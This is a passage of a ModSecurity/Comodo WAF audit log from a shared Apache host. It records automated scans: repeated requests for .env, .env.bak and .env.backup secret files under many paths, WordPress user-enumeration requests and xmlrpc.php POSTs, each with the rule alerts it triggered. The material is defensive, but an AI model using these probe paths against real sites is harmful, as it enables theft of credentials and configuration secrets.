www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea329b01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3084ad371090498eb18671e9c2a97b5d1750020738; expires=Sun, 15 Jun 2025 21:52:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea329b01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/.env.sample"] [unique_id "aE8ygs0RsCO0eBtdhx6_cAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020738198663 684204 (- - -) Stopwatch2: 1750020738198663 684204; combined=2281, p1=503, p2=1681, p3=0, p4=0, p5=97, sr=127, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea329b01-Z-- --26f85e44-A-- [16/Jun/2025:02:22:21.786636 +0530] aE8yhYl8S04UZ4l67-nZCgAAAAk 185.177.72.210 51344 127.0.0.1 7081 --26f85e44-B-- GET /:8000/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --26f85e44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b94e18de2180989cae663170f74ccafd1750020741; expires=Sun, 15 Jun 2025 21:52:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --26f85e44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.backup"] [unique_id "aE8yhYl8S04UZ4l67-nZCgAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.backup"] [unique_id "aE8yhYl8S04UZ4l67-nZCgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020741132200 654510 (- - -) Stopwatch2: 1750020741132200 654510; combined=2574, p1=483, p2=1960, p3=0, p4=0, p5=131, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --26f85e44-Z-- --31498e1a-A-- [16/Jun/2025:02:22:28.990809 +0530] aE8yjM0RsCO0eBtdhx6_dQAAAAg 185.177.72.210 51672 127.0.0.1 7081 --31498e1a-B-- GET /:5000/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31498e1a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c71971133d8b5f86f2c289fe5e0773081750020748; expires=Sun, 15 Jun 2025 21:52:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31498e1a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/pub/.env"] [unique_id "aE8yjM0RsCO0eBtdhx6_dQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020748329533 661352 (- - -) Stopwatch2: 1750020748329533 661352; combined=2553, p1=442, p2=1998, p3=0, p4=0, p5=112, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31498e1a-Z-- --50b2cd21-A-- [16/Jun/2025:02:22:32.655081 +0530] aE8ykIv0YhcYGG7mzIpmUAAAABU 34.38.39.196 38214 127.0.0.1 7081 --50b2cd21-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 34.38.39.196 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --50b2cd21-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://archangledesignstudio.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin,User-Agent Connection: close Content-Type: application/json; charset=UTF-8 --50b2cd21-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "archangledesignstudio.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8ykIv0YhcYGG7mzIpmUAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020752409446 245747 (- - -) Stopwatch2: 1750020752409446 245747; combined=2404, p1=410, p2=1658, p3=0, p4=0, p5=221, sr=104, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --50b2cd21-Z-- --5bbb7e15-A-- [16/Jun/2025:02:22:35.171244 +0530] aE8yknwizUED0-SK4eRIAAAAAAE 34.38.39.196 38344 127.0.0.1 7081 --5bbb7e15-B-- POST //xmlrpc.php HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 34.38.39.196 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 487 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/xml --5bbb7e15-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding,User-Agent Content-Type: text/xml; charset=UTF-8 --5bbb7e15-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 34.38.39.196 (+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 34.38.39.196 (+1 hits since last alert)|archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "archangledesignstudio.com"] [uri "/xmlrpc.php"] [unique_id "aE8yknwizUED0-SK4eRIAAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020754859247 312053 (- - -) Stopwatch2: 1750020754859247 312053; combined=2122, p1=348, p2=1325, p3=47, p4=90, p5=190, sr=96, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5bbb7e15-Z-- --7b346a6b-A-- [16/Jun/2025:02:22:37.584592 +0530] aE8ylNxCjYf3vhjKXItvTwAAAA8 185.177.72.210 38502 127.0.0.1 7081 --7b346a6b-B-- GET /:8443/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b346a6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e1233c8603ade30b2b6d0fb1d9890e6f1750020757; expires=Sun, 15 Jun 2025 21:52:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b346a6b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/front-app/.env"] [unique_id "aE8ylNxCjYf3vhjKXItvTwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020756937952 646810 (- - -) Stopwatch2: 1750020756937952 646810; combined=1838, p1=397, p2=1333, p3=0, p4=0, p5=108, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b346a6b-Z-- --6297077c-A-- [16/Jun/2025:02:22:40.001595 +0530] aE8yliHEjD4mqWjYVm14KgAAABM 171.244.0.91 38614 127.0.0.1 7081 --6297077c-B-- GET ///wp-json/wp/v2/users/ HTTP/1.0 Host: www.futuronomics.com X-Real-IP: 171.244.0.91 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0 Referer: http://futuronomics.com///wp-json/wp/v2/users/ Accept-Encoding: gzip --6297077c-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.futuronomics.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin,Accept-Encoding Set-Cookie: wpr_guest_token=55c405a4998fdb0219c7ed550975eba72844dcd68568c56ee62c21dc515d1ec7; expires=Sun, 15 Jun 2025 21:52:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Content-Encoding: gzip Content-Length: 110 Connection: close Content-Type: application/json; charset=UTF-8 --6297077c-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.futuronomics.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.futuronomics.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.futuronomics.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8yliHEjD4mqWjYVm14KgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/futuronomics.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020758720593 1281090 (- - -) Stopwatch2: 1750020758720593 1281090; combined=156476, p1=362, p2=1252, p3=0, p4=0, p5=77490, sr=78, sw=1, l=0, gc=77371 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6297077c-Z-- --1a172555-A-- [16/Jun/2025:02:22:42.732130 +0530] aE8ymYv0YhcYGG7mzIpmWAAAABU 185.177.72.210 40812 127.0.0.1 7081 --1a172555-B-- GET /client/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1a172555-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b1497a3a36108db5a64696b49dd44dd41750020762; expires=Sun, 15 Jun 2025 21:52:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1a172555-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/client/src/.env"] [unique_id "aE8ymYv0YhcYGG7mzIpmWAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020761964492 767700 (- - -) Stopwatch2: 1750020761964492 767700; combined=2150, p1=482, p2=1581, p3=0, p4=0, p5=87, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a172555-Z-- --cef1a838-A-- [16/Jun/2025:02:22:47.055685 +0530] aE8ynlfWRcme38U-qk7otAAAAAI 128.199.112.101 41084 127.0.0.1 7081 --cef1a838-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cef1a838-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cef1a838-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ynlfWRcme38U-qk7otAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020766118443 937297 (- - -) Stopwatch2: 1750020766118443 937297; combined=2371, p1=416, p2=1593, p3=40, p4=61, p5=164, sr=138, sw=97, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cef1a838-Z-- --5b50d35f-A-- [16/Jun/2025:02:22:55.844971 +0530] aE8yp9xCjYf3vhjKXItvYAAAAA8 185.177.72.210 45542 127.0.0.1 7081 --5b50d35f-B-- GET /:8000/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b50d35f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cdd3f3d85b8fcdb6edd04ce13d7278cc1750020775; expires=Sun, 15 Jun 2025 21:52:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b50d35f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env~"] [unique_id "aE8yp9xCjYf3vhjKXItvYAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020775163191 681842 (- - -) Stopwatch2: 1750020775163191 681842; combined=1822, p1=372, p2=1356, p3=0, p4=0, p5=93, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b50d35f-Z-- --37ac3c28-A-- [16/Jun/2025:02:22:56.930494 +0530] aE8yqCHEjD4mqWjYVm14OgAAABM 185.177.72.210 45672 127.0.0.1 7081 --37ac3c28-B-- GET /private/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --37ac3c28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bbe4c17be9a8f3cd1e4b88134cfcc4c31750020776; expires=Sun, 15 Jun 2025 21:52:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --37ac3c28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.bak"] [unique_id "aE8yqCHEjD4mqWjYVm14OgAAABM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.bak"] [unique_id "aE8yqCHEjD4mqWjYVm14OgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020776267452 663106 (- - -) Stopwatch2: 1750020776267452 663106; combined=1322, p1=273, p2=930, p3=0, p4=0, p5=118, sr=72, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37ac3c28-Z-- --9985805f-A-- [16/Jun/2025:02:22:59.892356 +0530] aE8yq80RsCO0eBtdhx6_kAAAAAg 185.177.72.210 46002 127.0.0.1 7081 --9985805f-B-- GET /:5000/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9985805f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e135bd0c832898341a71b4f8f93c31f11750020779; expires=Sun, 15 Jun 2025 21:52:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9985805f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/database/.env"] [unique_id "aE8yq80RsCO0eBtdhx6_kAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020779218605 673813 (- - -) Stopwatch2: 1750020779218605 673813; combined=2016, p1=370, p2=1561, p3=0, p4=0, p5=85, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9985805f-Z-- --60c4c75f-A-- [16/Jun/2025:02:23:03.743418 +0530] aE8yr3wizUED0-SK4eRIGAAAAAE 185.177.72.210 52630 127.0.0.1 7081 --60c4c75f-B-- GET /:8000/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --60c4c75f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c135e79937cb76f58fef53ce95b9fab91750020783; expires=Sun, 15 Jun 2025 21:53:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --60c4c75f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] 